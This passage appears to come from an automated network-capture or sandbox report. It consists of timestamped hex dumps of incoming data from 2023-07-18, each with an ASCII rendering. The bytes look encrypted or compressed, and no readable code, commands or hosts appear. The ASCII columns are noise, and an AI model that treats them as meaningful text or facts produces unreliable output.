ac a8 b7 03 e4 0c 07 a5 a4 0f e8 f0 93 44 b9 ea d1 91 fc fc f2 43 69 c1 fe 2e 4f ed d0 39 3a Data Ascii: nyqm4MJKJtY&%/.!hr:P4CA47cRg(<VBlpG87IQ]-1,!6@s@yM4fo\>RXVse]]s<`xM{0&Vwf 4OcD/&QrTxbj!oSw&DCi.O9:
2023-07-18 15:27:10 UTC	1040	IN	Data Raw: 5d 30 a7 25 20 72 dc da 7a d6 2f e2 ee 9e e2 2b 8d e2 19 35 de 2e 4a 1a 8e 3e 6b f3 79 92 fe c8 ec 3e 32 6d c7 5e 76 00 13 f6 b5 de 0e 58 45 0f 33 8b 1d 83 47 60 1f a3 fc f9 07 99 3a 09 86 20 b3 39 00 ec fc e0 a6 6d c7 4c 8b d3 b8 12 df 9f 68 2c 1f 03 cb 29 12 ee 4e c1 33 90 1b ea f9 cc c8 b7 ac 4a 94 ea 6f 18 3d 2a 11 a5 47 47 18 9d 5c bf 44 19 02 a0 b8 40 12 0a e7 88 a1 f7 03 8b 05 89 12 36 c8 41 55 b3 d2 b3 f6 45 13 80 a1 d9 c7 70 9b e4 04 96 6a 01 f3 9c 93 41 c6 75 d7 ca 2b e3 c1 08 a7 f7 30 a4 e3 ef e5 44 27 ff 46 57 c8 2a 67 a0 67 98 61 d5 d8 d6 18 8b 33 57 a9 e5 92 e6 ed 89 90 72 93 89 27 d1 37 7d 8e 38 50 79 b7 58 7b 4d ea 86 16 8d d1 f5 d0 e3 07 2c 04 ca cf 9c eb f0 58 ba 1b ac 82 72 4f a4 34 cc 7c a9 4f f7 4f f2 dc 86 45 f7 6a 54 f1 54 78 4a c7 Data Ascii: ]0% rz/+5.J>ky>2m^vXE3G`: 9mLh,)N3Jo=GG\D@6AUEpjAu+0D'FWgga3Wr'7}8PyX{M,XrO4\|OOEjTTxJ
2023-07-18 15:27:10 UTC	1056	IN	Data Raw: 7a ac 66 7a 25 8e 9e 0d e1 ee 14 51 95 06 29 af 86 6e 28 4c 92 84 02 31 92 22 50 d5 86 2c b3 f0 a5 d5 72 f4 d5 e7 70 48 64 bc bd ff 8c b4 03 e3 b0 e3 b6 fe 4b 8c a9 a1 e2 94 d0 1d 21 43 0b 23 9a b1 54 54 f7 2c 82 f1 2a 5a 7c 52 79 b8 07 6f 8c b0 57 2b da b2 3c 70 0c 3f 39 df be 11 f0 8e 8e da 89 47 7f 36 58 51 37 d4 19 eb 08 4c f1 ae be 30 78 86 83 39 33 8d d9 49 33 18 38 22 a3 40 ba 93 4d ff ff 07 8c 62 0a 64 74 eb 4f bf 1a 5d 0c 86 45 e9 02 ca 5d 20 3f 7f b7 18 ca 6e ef 42 f1 55 1e 8b 21 7d df ad 53 f7 2e 25 ec da 74 4b de 77 78 f4 57 c8 56 06 31 ec fe e1 8e 4d 24 d1 3e 38 3f 4b 25 b6 a1 84 d8 c6 fe e3 62 e6 65 f0 1f ab f3 55 ed ad 15 60 49 15 7c 2e 22 15 72 e1 fe 7b ed 1d d3 44 e4 04 5b 38 f8 3b b5 46 63 ba 43 00 f0 8d 96 ff 57 2d e0 50 00 d0 c9 f1 ea Data Ascii: zfz%Q)n(L1"P,rpHdK!C#TT,*Z\|RyoW+<p?9G6XQ7L0x93I38"@MbdtO]E] ?nBU!}S.%tKwxWV1M$>8?K%beU`I\|."r{D[8;FcCW-P
2023-07-18 15:27:10 UTC	1072	IN	Data Raw: 3b 75 25 0a 60 95 3d 40 dd af 11 a9 a0 0b c9 87 e0 a7 84 bf 75 73 04 4d cb 2a 0b 86 49 9c 54 24 b2 e2 53 e1 9a 35 79 0a fb c2 48 db d1 44 a1 40 13 8c 26 f5 48 80 8a 92 83 dc ab 29 a5 c4 af b5 47 38 eb d8 59 8e 25 d2 f9 57 af d6 d1 c2 9d 4f 30 58 5f 24 a0 87 d3 a2 2f e9 46 cd 75 45 a9 cc 98 41 d2 26 1c b6 6e 23 16 bd 56 7a de 8d 83 3c 44 96 be fb b1 74 97 6b 23 0f ea 1d 18 ae 76 a5 68 6f fc 1e 24 94 04 75 f7 c1 6f 7f 69 93 ab 2f 4c 28 d4 89 1f 1c 78 1e e1 c9 83 b4 c6 95 43 cc 69 3f 4d 7e 46 fb 21 57 c1 85 b2 9c ba 09 0c 99 eb 3e c3 9f c1 b9 08 28 fd e4 58 8f 6c b4 0d 54 5d 4c ee 11 4f e3 9c 9a bd e2 8a 52 0f ea ee 7d 6b fb 40 fe 37 05 82 07 53 80 7b 46 ea 3f a6 82 2e 16 1a bf e6 f5 b1 dc db ff 04 40 34 e7 bd 34 cf d7 9e 61 92 5e 11 cd 88 5e 2f 73 e5 29 eb Data Ascii: ;u%`=@usM*IT$S5yHD@&H)G8Y%WO0X_$/FuEA&n#Vz<Dtk#vho$uoi/L(xCi?M~F!W>(XlT]LOR}k@7S{F?.@44a^^/s)
2023-07-18 15:27:10 UTC	1088	IN	Data Raw: 89 33 4d 6e 7f d4 18 ad 14 d5 96 87 90 cb 7d 71 c9 d5 c5 c3 e9 84 93 87 f0 9e 46 1b d5 62 d9 e2 65 d3 c3 3e 61 0c de eb fe 88 b0 b1 a1 d6 5a f8 e2 0a f5 a4 57 08 33 54 82 14 65 31 28 42 dc e2 1e 35 70 e9 88 25 dc 48 43 a4 a0 e0 b2 57 b7 4e 73 42 d3 1e 0a dc 5a 17 53 37 79 15 39 5c 73 b1 05 b7 c3 4b 50 e4 b0 bb 22 92 bf 57 48 0a 85 1e 92 95 70 66 b4 1a 38 a3 f0 7e e5 b6 66 39 fd 02 e0 7a dd 2f e7 07 fe 93 e1 ae 69 4b c9 4f c4 55 ba b9 a9 41 4d 14 de 0c 5e 68 4c 40 3c 55 3a 0e d4 d6 83 5d 71 07 d7 d0 6e b7 99 42 71 88 c9 d5 cf 92 46 b3 d8 46 ea 81 b7 be cf f9 b4 be 5f d1 49 04 c7 8f 1d e2 5e 7d f1 16 cb 14 07 13 fb d7 d0 50 10 c3 7b 93 b2 a4 43 88 2e be e2 66 1c 1a 9e 4c 81 e6 ec 38 3e d4 95 ed 7e fa 18 c3 5c bc de 20 4e ee a7 59 69 75 42 52 fd c6 a5 d3 9a Data Ascii: 3Mn}qFbe>aZW3Te1(B5p%HCWNsBZS7y9\sKP"WHpf8~f9z/iKOUAM^hL@<U:]qnBqFF_I^}P{C.fL8>~\ NYiuBR
2023-07-18 15:27:10 UTC	1104	IN	Data Raw: e2 b8 3c 92 88 9c df 31 01 1c 48 a6 c3 44 55 d3 70 64 ee d5 99 26 7b ab 1f 3e d3 d5 36 54 4e e3 c3 6b 12 8b f4 a8 70 70 a7 ed a5 8d 47 07 2e 7a 01 ff 10 80 c0 64 99 34 bf da 32 ec f7 12 bd a2 e1 55 b9 8d a5 1b 49 75 bc ff 51 3b 3a 9f 20 9e e7 4f 97 0d cf 40 7b d1 48 ff 09 15 38 79 de 0f 42 74 9a f4 33 20 9a 80 49 e2 0d df f7 dd cc c3 80 a1 65 58 d4 6d e8 b1 76 31 a8 e6 6a fd 89 3a 16 10 f1 39 2c 45 06 5e 43 ad 74 75 4e 3f 88 13 5a f6 50 0e fd 9a 8d d9 d3 c8 9d ad 3b 96 2a f2 0a 12 18 d1 86 a7 70 57 a7 89 f2 98 ba 0d 64 b1 70 ce 89 79 67 33 ae 5e f5 40 96 6d 72 21 34 0e a8 48 a5 0c 2f 79 08 20 00 e5 5f 3c 96 9c d5 f7 12 14 2d 1c 37 4d b5 43 61 ef e8 b8 4a 5c e4 33 a7 fe 27 be 5c da e5 45 d6 21 a3 46 58 9b 81 a6 a3 0c ab 86 6d ae 7c 2f 78 7f ec a9 41 f1 74 Data Ascii: <1HDUpd&{>6TNkppG.zd42UIuQ;: O@{H8yBt3 IeXmv1j:9,E^CtuN?ZP;*pWdpyg3^@mr!4H/y _<-7MCaJ\3'\E!FXm\|/xAt
2023-07-18 15:27:10 UTC	1120	IN	Data Raw: 59 a5 71 d0 a3 1c 93 e5 eb ee 5f 3d 45 b6 ba 4a 52 a1 12 19 fa 9d 9c 24 09 df 3b 13 ca d1 cd e2 18 c8 81 96 be af 50 1b dd cf 78 5c c4 f9 f4 0b f4 e7 4e b9 b0 93 b1 37 7a 77 ca 68 4c 23 01 d4 a9 10 76 fb 89 06 8b 34 b2 fb 5a 67 98 07 23 ac c1 e0 50 e3 e7 47 ca 1f f5 f0 a7 26 1a ac c0 8b 5c 95 86 ba 7b 0b cc 9b 96 46 61 06 86 2b 37 b0 3d c3 0d ca 6c b5 dc b6 f5 11 61 77 3d 7e 32 b0 0b 76 e3 3b 4a 60 4f ac d6 94 f6 f2 b4 a0 a2 06 47 72 2c 67 a4 bc 92 ba ba 25 27 67 7d fa 8d 1d 4c c4 08 1a b3 05 cd 84 04 d3 b7 9c da 3b cd e2 a1 bb 38 b1 5d eb 96 f9 50 cf 57 d5 d5 cc 03 7d 10 86 f3 85 5f c0 81 36 a0 28 ea bb 90 22 a6 8e 57 c7 67 5b 76 27 49 ab 04 10 2f 26 9a 7f e5 c4 b5 53 7b 27 85 3c 4c de c6 cd 9d 6a 82 8f 0e 61 f8 0b cf c6 24 60 10 69 e6 a6 af 27 f0 40 91 Data Ascii: Yq_=EJR$;Px\N7zwhL#v4Zg#PG&\{Fa+7=law=~2v;J`OGr,g%'g}L;8]PW}_6("Wg[v'I/&S{'<Lja$`i'@
2023-07-18 15:27:10 UTC	1136	IN	Data Raw: e7 48 3e 82 6b bc ec e3 82 49 d3 2b 48 ca 11 2e a7 8f ea 2e 46 a9 2a c9 18 73 e5 b6 d2 72 c3 56 f7 b0 b0 d5 95 5c e6 11 28 23 e8 3e e9 b7 b8 9e b9 12 78 92 5e d2 5c 11 a6 8c 2f 58 6c 36 e0 0c f8 ce 5a a0 45 d2 a0 76 43 ee da 5d d1 6c fe 30 5e ec f0 6c d1 1a ed 01 43 7c 0c 82 23 5c 51 c4 aa 1b 1e bc f5 a0 34 00 55 01 77 cd 61 dd 1a dc 4e 7b 8d 1f 2d c1 09 ef 6c 28 b6 0e e3 95 aa 70 3f db bc 99 f9 eb 84 24 b4 4e c2 e3 92 8a 93 6f d7 f4 64 b1 43 7a 71 c2 b5 ee b5 a8 70 9c ed 2e 1d 50 2c 65 c7 a9 b5 8c 8b d3 5c c6 2a d4 50 e1 20 7b 09 57 ec 4d c1 61 19 60 3a 8f 37 f9 d0 8d 89 36 86 7a 74 a3 c0 f1 a1 8c 7a 9a 98 29 cb 7f 78 2e ac 55 1e 15 f2 19 7c bd a0 2a 5d 14 56 93 04 8e 41 ad d1 eb a4 92 ac 1a e3 ae e4 20 7d c8 16 0b 79 37 33 de 62 f7 a8 a3 cf 8d 95 1f 1b Data Ascii: H>kI+H..FsrV\(#>x^\/Xl6ZEvC]l0^lC\|#\Q4UwaN{-l(p?$NodCzqp.P,e\P {WMa`:76ztz)x.U\|*]VA }y73b
2023-07-18 15:27:10 UTC	1152	IN	Data Raw: ab 55 9d c4 a5 45 25 d8 e0 34 a5 f2 67 d6 39 1f f0 a3 15 de 90 0c 61 ec 98 89 e0 68 a5 67 a6 53 87 63 c3 dc ef 90 68 18 81 f6 58 c9 2c 7b 9c cf b8 8c c4 0e 1a cb 43 c8 2e fb 6e 86 d1 28 f8 30 51 6b 7f 7a 4a 68 2f 42 e9 3f 0d 3a e9 23 79 80 a4 b2 17 bd b4 a7 6c 29 b3 a4 4a 8d a8 f6 32 96 e6 f4 27 9b 17 31 09 e3 7b 2f 21 82 58 92 36 9d 85 e5 db 4f 0e 88 ed 89 12 bb c4 66 1f 0f 82 0f a4 a8 0a 51 de 51 ae d2 27 c0 20 3a d0 6e 67 35 81 ce 18 df 47 d6 a2 12 0f b0 38 52 25 d7 cb 8b 8b be ec 14 5d 64 16 40 a4 9d c5 ff 78 7e d2 ad 1b d1 73 41 7f b6 e0 8d 6e a7 6b b7 80 b4 9f 19 c3 85 58 04 9a 18 da ff 50 51 50 8c d3 33 33 5e 82 29 0b b9 2f 8d de 01 8e 9b 2d 18 bd 8b e6 87 99 47 c6 41 5d 09 70 89 7e 86 2c 7d 98 02 80 b9 b4 f8 61 ea f9 99 1c 9b c5 40 47 87 d3 07 98 Data Ascii: UE%4g9ahgSchX,{C.n(0QkzJh/B?:#yl)J2'1{/!X6OfQQ' :ng5G8R%]d@x~sAnkXPQP33^)/-GA]p~,}a@G
2023-07-18 15:27:10 UTC	1168	IN	Data Raw: 3a 4c f6 30 94 af 6c 1e 07 c4 0b db a8 d9 11 fe 2b 8a 49 9b 16 78 23 d4 67 b1 77 02 0e 0c 0b 70 1a 1e 8b 79 d3 f7 7c f3 10 ad 6a 0c 50 65 fa 8b 94 30 f8 d1 7e b1 ef 89 ce cf 92 ad 52 45 b0 82 4e e2 8e 05 10 cb 54 49 ca 1e d3 37 87 65 27 97 11 40 37 bd ca 4e f8 79 7e 85 1e 78 2a eb ae 16 b7 22 91 1d b0 b0 24 e7 e5 9b 3b 3e 65 b4 eb 0d 3a ae 1f 53 37 c8 43 fb 02 45 ec e9 1b e1 7c 3e 0e 28 a0 33 ba 80 70 ac 1c 58 4f a7 6d 8b 22 28 e3 5d 4b 59 75 c8 fa 52 68 1b ef 74 03 aa 82 a5 c9 91 5e 90 cc 14 01 54 bc a2 7e 9f c8 85 da 01 38 9a 20 bf f4 5a 1d 9f 23 cd 58 58 c1 8f 5b 99 e5 07 de 92 cc b4 d0 b5 49 e6 c5 23 4a eb 58 e5 0a 78 2a 62 50 b0 f7 1c 28 39 c9 1c 80 32 c6 32 ac 71 68 68 1b e6 32 a9 6c e5 62 17 08 f9 fb ba cf 9a fe 2f 45 10 3b d8 a1 5d 99 ab 25 2d df Data Ascii: :L0l+Ix#gwpy\|jPe0~RENTI7e'@7Ny~x"$;>e:S7CE\|>(3pXOm"(]KYuRht^T~8 Z#XX[I#JXxbP(922qhh2lb/E;]%-
2023-07-18 15:27:10 UTC	1184	IN	Data Raw: 3d 51 06 d1 59 85 10 d1 4b db d6 ec e9 f9 82 09 6e e9 95 b9 02 14 ea 4e b0 49 40 61 ef 22 5e 16 4e c5 11 2c 92 89 a1 d4 14 f0 b9 67 0b be 30 5e 49 60 7e e7 b3 a2 ab 43 f2 0d fb 3c 1a be 30 f7 dc f6 fa 94 72 7a bc ef a9 cd 63 35 78 b5 a0 7d 50 91 ab 07 f1 ad 0a 5d 7b 96 69 e0 48 16 e7 d5 3d b6 5a 13 f6 0b 9e 49 38 a9 61 2d 9c e8 45 b8 98 8e ac fb 60 62 54 06 60 1d 8d 11 b9 6f 27 73 50 d9 03 f2 26 2b 7a 71 a6 d8 ea b3 41 e5 9a eb dc d6 8f ca f6 50 57 b5 28 34 f5 35 19 7e de 7f aa 1b b5 dd 84 b4 64 c0 7d 05 3c 84 ab 01 0f a4 d0 0d 61 29 1e 93 51 97 a7 3a 07 57 83 a0 7a d7 f5 9a 05 f2 35 e4 07 c9 7e 28 5c c0 5f af 81 03 99 cb 6b 03 da 11 2e 4b 4a 49 31 0b c3 ca 85 53 c6 c2 a9 d5 73 ad 8d fa b3 fe 9e 74 ba 61 c1 33 c1 67 3f e7 b9 bd 10 7b d9 6f a9 bd 23 da c5 Data Ascii: =QYKnNI@a"^N,g0^I`~C<0rzc5x}P]{iH=ZI8a-E`bT`o'sP&+zqAPW(45~d}<a)Q:Wz5~(\_k.KJI1Ssta3g?{o#
2023-07-18 15:27:10 UTC	1200	IN	Data Raw: 9b ed a8 b9 b0 cc cc 12 9d 38 07 1d 18 f0 c2 c0 06 24 e7 81 7f b0 a9 60 ca cd 51 0a 54 f0 d4 ae a1 f4 0b dc 9e f5 93 a8 fd 9a 51 53 91 4c ac 4e 09 80 7a ca 73 5d 82 e2 26 2b 76 ac 7a 0d 17 b4 d7 e8 5f 1f 1b b9 02 cb 56 4e e4 fe 1d 6b c8 c5 56 79 ba 21 24 ff bc 81 db b3 6e 56 4e 25 c5 09 eb 20 40 d3 fc aa ef ec 10 d1 ac 59 a1 ac 8b 30 13 e2 d7 68 d2 2a 2a 2e 66 bb 86 fb c7 da 71 45 18 7e 2d b8 1e 05 94 33 40 f3 17 a8 cd 76 bb 5a 82 0e 8f 54 d6 77 b7 dd 28 90 03 6a 6a 7a 71 02 29 69 c0 86 3a b4 3b 58 28 5d a9 41 67 df 1d 3f eb 47 18 19 b4 38 7d 17 49 ff 70 7d 3a ba 90 f2 2e cc 4c 48 76 1e 7d 7c e4 39 ba df 1c 18 7b 78 79 53 79 01 98 93 1c 44 97 e0 83 7d 65 ca 5a 34 db 45 42 67 c7 e2 3b fc 9e c3 48 e6 f7 89 82 ad 50 65 83 20 95 bd 61 5e b0 5c 84 c1 08 40 af Data Ascii: 8$`QTQSLNzs]&+vz_VNkVy!$nVN% @Y0h**.fqE~-3@vZTw(jjzq)i:;X(]Ag?G8}Ip}:.LHv}\|9{xySyD}eZ4EBg;HPe a^\@
2023-07-18 15:27:10 UTC	1216	IN	Data Raw: 10 be c1 ff 98 8f b4 65 10 90 a4 d7 65 81 f9 08 81 bf bc 60 82 b5 be 61 a1 ef 0f 4e 17 52 1e 5f 1e 3d 4c 78 3c f7 b0 a1 a2 c8 87 85 09 da 80 a0 5c cf cb 1f 74 2a 2a 92 cf 8b 6f ac 9f 75 86 54 01 70 5d 97 3d df 7f 2a c9 01 ad 0f bd 72 9b 6f 35 01 f1 c6 96 9a 89 08 42 0f fd 7b ea 1e c6 2e b5 44 9d 32 8d 9a 54 28 e1 ea e2 fa 59 1e 5b dc b7 72 e1 57 bf 84 97 0d d3 52 39 7a 79 2d e3 1b bc 37 8c ab 34 67 e3 ff 51 19 17 b7 fc da 47 01 1a 3b 7e c2 67 e5 ef af 6c 3f ad f9 85 e8 84 68 3b 24 be 7d 68 14 2b 4f 81 f0 d2 4d 49 91 97 17 eb 66 56 f6 5d fb 28 f3 8c c9 4e ea 08 a1 47 bd aa 23 03 35 44 e5 bd 30 77 74 2e 2f 30 66 69 09 a3 80 5d db 18 8d 17 df 56 d3 10 d3 ef ee a9 43 05 93 70 ff 7d a1 7d c9 53 5f ad 37 24 db 27 33 89 ec f6 82 f2 b8 c6 28 76 d9 49 00 89 6e e5 Data Ascii: ee`aNR_=Lx<\t*ouTp]=ro5B{.D2T(Y[rWR9zy-74gQG;~gl?h;$}h+OMIfV](NG#5D0wt./0fi]VCp}}S_7$'3(vIn
2023-07-18 15:27:10 UTC	1232	IN	Data Raw: 03 de df 99 ab 70 92 9a cf 9b 90 bf fc 03 4b 97 b2 ef 2f e7 6e b0 f7 76 82 ce 7a d4 f1 3d 9e 16 57 9b 84 54 14 f1 e6 4a 5a d0 30 95 54 b7 93 fc 37 6d 00 e1 16 ac be f6 5f 3c 3f ff b6 5b 2c 7c e3 29 c8 f1 29 84 60 99 4c cc 65 33 97 87 8c 39 a5 a0 2d a6 40 d3 c3 f3 08 62 90 79 1e 5f a1 8f fe 04 94 9c ff 61 e7 07 21 73 38 15 25 86 cb 80 c4 f7 d0 17 0d 64 0d 5d 9b a0 67 3c 8f 8a 6d ef dd 43 84 e8 45 22 70 08 e7 e6 b1 df df 1c 38 7e 8d 79 e0 20 5d a2 76 15 93 0f 76 b3 2e ad c0 82 b1 5b 6b 27 27 ca 64 d8 ff ba 79 3c 6c 3e df 85 d2 8a 9e 49 e2 c3 a6 8f 47 81 4a b7 98 7d b7 0d f1 17 75 05 80 54 1d e4 83 8b 04 21 34 9a 61 72 66 7c 6e 0f 62 8c a3 a6 b6 7b f7 bd ca b0 e5 3e 4d 1e 92 6d 4c cb 56 15 5a 6a a0 cc b8 e9 ee 2c 7a fa aa b7 11 c7 ab 34 9e a7 26 0f 0d df c1 Data Ascii: pK/nvz=WTJZ0T7m_<?[,\|))`Le39-@by_a!s8%d]g<mCE"p8~y ]vv.[k''dy<l>IGJ}uT!4arf\|nb{>MmLVZj,z4&
2023-07-18 15:27:10 UTC	1248	IN	Data Raw: da 83 1e 48 3d f1 57 36 f5 d2 55 96 4d 96 91 7c ad bc d1 74 fb 1f 7d f1 1f 3b 6a 28 a3 56 ce 89 7e 47 62 d6 e1 fe 94 1a fd b2 02 99 24 69 63 4e 31 84 b4 8f ae 70 90 ee 6f 94 80 62 d2 09 ba 8c 5f 71 a3 8c de 34 da b5 35 82 37 e4 d8 d2 c3 a1 f3 2a f9 a7 cf 1c 25 aa 39 69 e8 c5 b9 7e 1c 59 d9 67 e2 ef 67 7f c0 81 1d 6c 9b 12 fb d8 a7 65 ee 96 97 60 1f 2f 55 b1 51 97 8b 55 89 36 e5 87 54 80 e1 9f 97 7a 2e 40 02 b8 4f e6 e5 cb 7d 9f 46 37 8b 60 5c aa 72 b2 68 7e d3 8f 72 b3 43 30 64 2e d9 9d d5 2c d2 d1 47 f9 2a 7c cf 26 e7 68 42 bf b5 d7 0a f2 0c f3 b1 3d 03 9f e7 3f bc ac 85 1d 15 9f 4b 4c e9 8c 17 7a 69 5b a0 1f bf 6e 5e b8 82 56 5c e2 1f 21 15 d9 b7 a3 8b 49 c1 7a 75 13 ee 52 90 bc 18 71 63 70 d7 d9 48 f3 cf 5d 5c 44 73 6d 5c 90 97 8b e9 c3 12 67 a6 71 4d Data Ascii: H=W6UM\|t};j(V~Gb$icN1pob_q457%9i~Yggle`/UQU6Tz.@O}F7`\rh~rC0d.,G\|&hB=?KLzi[n^V\!IzuRqcpH]\Dsm\gqM
2023-07-18 15:27:10 UTC	1264	IN	Data Raw: 08 02 f3 2a 77 f1 6b 4d 4b 6f e7 72 bb 2e 1b ce 09 03 d0 62 85 d5 1f 8a 33 b8 b2 c0 b8 8d ac f0 14 0d 60 73 e7 9e 6c 7d 11 bc 3b 32 be 75 e9 96 04 ee 1a 5e 4b d4 85 cc a7 89 d3 ee 81 b4 b5 c7 d1 bc f2 64 e8 cf d6 02 31 1a 53 82 08 30 0c 30 42 e0 25 22 d3 4a e3 28 de 5f d4 3c 9d 9b 89 7e c6 52 77 66 5c 02 48 b6 f4 b3 44 f3 02 a4 ff e1 b5 cf 8d 39 06 84 09 11 a4 f3 93 ca f7 d5 79 b0 ea 71 fa da 26 b8 34 f4 8f d2 de 6b 05 77 64 4c 88 86 25 73 39 39 14 a0 fb eb bc ba b0 2d 35 d0 14 21 10 f6 52 93 0c 0f 18 b5 e2 04 d7 23 9d ae ba 49 1d 9b b3 62 32 a9 0f c4 e0 40 76 66 ea 15 64 13 cf 14 a8 86 b9 ce bf 19 5c e4 f9 37 6d 77 cd e6 e7 ce 70 44 c4 e5 7d fc 66 27 e4 c7 00 35 52 5a 70 ba ca 6b b2 d4 07 98 c2 07 63 44 0c 25 55 d7 53 2a 9f 1e 3f be de 07 7f cd 27 d4 48 Data Ascii: wkMKor.b3`sl};2u^Kd1S00B%"J(_<~Rwf\HD9yq&4kwdL%s99-5!R#Ib2@vfd\7mwpD}f'5RZpkcD%US?'H
2023-07-18 15:27:10 UTC	1280	IN	Data Raw: 22 28 f5 d1 04 d9 78 5d 5d 9e 12 9c 7d 4d 97 cc 21 6e d3 15 ba 54 2a de 47 3a 4a ee 7b 56 cd 72 3c bf cb 6c 54 2f b9 c4 bd 73 85 19 97 dd 07 04 fb 73 d9 0c 9c ae ac 53 f3 a6 0f fb f4 83 d5 2a d8 33 d8 5c 6e d6 11 3e 5d 39 5d 9e 5b 0e 2c 4c 5f ec 14 e4 c4 80 b7 d9 bf 65 04 8f 3f 8f 94 59 e1 ce 65 ad 66 ff b1 49 43 92 bc 7f a0 ed aa d0 f5 27 16 06 d2 98 f1 2f 42 20 12 56 4d dd 85 4c 7c 48 55 a1 22 7d cb 6f 82 7a c7 e4 8e ad 99 55 d7 b3 ed ca 70 93 17 7a dd f0 68 2e d4 bb d2 4e 65 4d e5 46 c0 11 4b e5 5a 30 f4 a3 d5 91 b4 5c 3b a5 d8 9b 70 2e f1 29 6a 1a e7 ac 89 cf 1f 6c c8 86 3e 5a 81 11 99 e1 6d 84 aa d8 2e d2 13 89 15 81 d9 2b eb e4 f4 20 96 c6 f0 71 a5 72 bb 03 de a1 91 7f 8b 1b 3c b7 91 df 00 32 d7 1c df 7a 0d e9 4a 8b 1f a7 d4 d9 a8 36 ef d8 7a 9e 80 Data Ascii: "(x]]}M!nTG:J{Vr<lT/ssS3\n>]9][,L_e?YefIC'/B VML\|HU"}ozUpzh.NeMFKZ0\;p.)jl>Zm.+ qr<2zJ6z
2023-07-18 15:27:10 UTC	1296	IN	Data Raw: 5a ab aa 58 e3 31 ef 21 96 5d 2c 62 a0 13 34 14 8b a8 98 b0 f5 9c cd d5 8d 78 3a c1 c6 46 fb f4 c8 94 40 7f 6c 6d 41 17 95 07 91 b4 03 8c c8 ab 9b f0 58 8e 8a b1 05 85 6d ba b5 0e 9c 01 83 0b 06 1b a8 ba 84 f4 b4 c3 6c a6 42 e7 8b 5f 06 7c 15 0a 9e 15 8e 5b 19 62 73 8f 87 36 9b e0 f4 f8 44 83 5c 06 1f 0c 0a e9 3a 1e ba e9 22 30 f1 ca b3 f3 88 a3 c7 c8 22 eb 40 14 8d 5f 0a e1 48 95 53 89 e3 fe b0 7b 00 99 fe 69 8a 46 28 88 59 93 01 6f a6 7b 5b 9e c3 bc e5 18 c0 db 1f c1 ef 7f 6f f8 e1 83 75 7d 12 29 08 9e 6b 6d b5 d9 b2 11 df 40 d9 73 0b dc fb 99 4c 22 cf 20 63 a1 10 ff 89 5e 68 0b 54 0d 33 60 c7 8b ad 43 72 83 f0 e7 d0 f1 fb 4a df 11 d9 c5 a3 e7 45 5e 95 2d 03 f3 f5 71 15 11 79 ae 2a 5c 33 4a c0 de 54 aa 82 a7 29 56 84 1c 1a da 63 3e fe 7a ab 50 60 10 64 Data Ascii: ZX1!],b4x:F@lmAXmlB_\|[bs6D\:"0"@_HS{iF(Yo{[ou})km@sL" c^hT3`CrJE^-qy*\3JT)Vc>zP`d
2023-07-18 15:27:10 UTC	1312	IN	Data Raw: 71 33 8f 06 79 e7 9e 0e 4d 6c dd bf e6 1f 3d 58 8d fa 8e 5b 6c 42 67 a1 c9 ae e8 0d d6 43 56 63 fb eb 1e 02 46 62 c3 42 e6 4b 18 60 7a 5c 59 01 0c 00 dc 0f 86 11 f9 1d e8 61 f8 7f 7d 8a 10 bd 99 db 29 01 d6 69 dc cc 83 2a e0 a1 e3 22 29 f1 5f 41 33 24 d4 c9 a0 6d 20 a2 47 2b 3f 2d aa 33 2d 44 00 4c 1a f7 0a d8 e2 88 af cc 80 4f e4 7f 91 a7 a4 59 3a e6 bb f5 0e ad b2 e8 ff e0 f5 f6 f0 67 36 af 42 e0 6b c7 5a cc 3b 45 38 2b 75 56 b0 4e 8f 40 a9 72 08 31 90 86 a1 ac 72 6f ed aa 60 06 6e e5 a8 ba bc 32 5a 61 1b c5 4b d1 b9 c0 05 cc 6d 46 0f 56 c6 77 60 c2 5f 49 cc 17 a0 0a d5 ad 20 8e c4 e1 e3 8f 93 88 4b 8a 4f 58 39 82 44 86 68 85 66 95 bf 91 7c dc 55 f6 ac 44 5c 4a cf d8 62 9f bb 7a 99 18 33 5f 1f e9 01 81 c4 ca fc d8 4c 36 01 38 1c c5 4f 4d a1 ff 2e 8c bc Data Ascii: q3yMl=X[lBgCVcFbBK`z\Ya})i*")_A3$m G+?-3-DLOY:g6BkZ;E8+uVN@r1ro`n2ZaKmFVw`_I KOX9Dhf\|UD\Jbz3_L68OM.
2023-07-18 15:27:10 UTC	1328	IN	Data Raw: c2 37 ec 31 6e aa 40 2b 91 d4 74 70 8f ca 41 99 c9 b7 bf fa 18 ec d4 e9 6c 0e e6 ef 50 99 a4 d2 02 c6 a1 93 e3 e1 bb ac be 9a 4f 88 9d 67 6a f3 6b 2f 8b d0 ee 80 ff fb ab b5 df 30 07 5f e1 92 b8 d0 da d9 b7 22 80 86 fb 4e 90 ef e0 8a c4 14 95 64 fe 89 24 61 7a 93 21 11 7d 97 ee 9b 92 4a d8 b8 a0 24 be cd 49 63 f7 e8 15 70 9c c7 e7 9a da b3 a2 84 29 52 6a 07 00 90 5b 15 57 2b ae 59 8b 61 27 4c a1 7e 78 3c d4 3c aa 13 78 dd da 3f 4b df e5 1a 27 e8 69 24 ef e5 0e 54 c6 7f 5a 0e 89 26 f7 7f 61 55 0f 49 9c 2b 75 17 f0 46 3c fb 15 4a 43 16 d4 68 30 af 4a df fe 0f 83 32 cd 92 69 68 a8 25 0c 13 11 a0 ca e1 c1 ed 9c 78 60 02 60 c2 62 4b d3 36 11 19 88 33 f6 6a 6d 96 d4 43 56 68 4b da 46 1e 43 b0 9e a3 0c 81 63 d7 5a 57 94 96 05 4e 2a f9 27 a8 86 64 bb 0a c0 5f 15 Data Ascii: 71n@+tpAlPOgjk/0_"Nd$az!}J$Icp)Rj[W+Ya'L~x<<x?K'i$TZ&aUI+uF<JCh0J2ih%x``bK63jmCVhKFCcZWN*'d_
2023-07-18 15:27:10 UTC	1344	IN	Data Raw: 41 7a 16 11 97 ba 43 80 d0 2e a5 b2 fd bb 0b fd db f0 cb 3a b4 30 95 9a ba f6 3b ef 43 f7 fb 71 db 00 8c ff 49 a4 6e 22 8d fb c0 31 90 63 4c 2b b4 4e 3c b8 0d 2c 77 74 76 81 37 83 88 67 6c cd 36 2f 03 53 61 aa 29 37 2c 6b da d1 00 ff 33 e1 dc 35 2a 1e c9 55 e8 5c f1 aa 05 c1 26 ac 8d e6 90 62 ff ee 63 60 39 79 75 c6 aa 35 6d 05 fe 43 31 8b 41 70 63 50 32 d0 d3 cb 3c 83 a3 99 b2 c4 b5 8a 73 03 dc bd 16 ee 47 fb 95 f6 71 12 55 e7 15 cd b1 22 d7 e2 4e f2 99 6e a5 c1 49 ff f0 11 eb e3 99 cc e0 0a c7 3d 94 61 56 d8 49 b2 8b c9 3e f7 4a ae 65 9f f5 d1 e3 27 d1 61 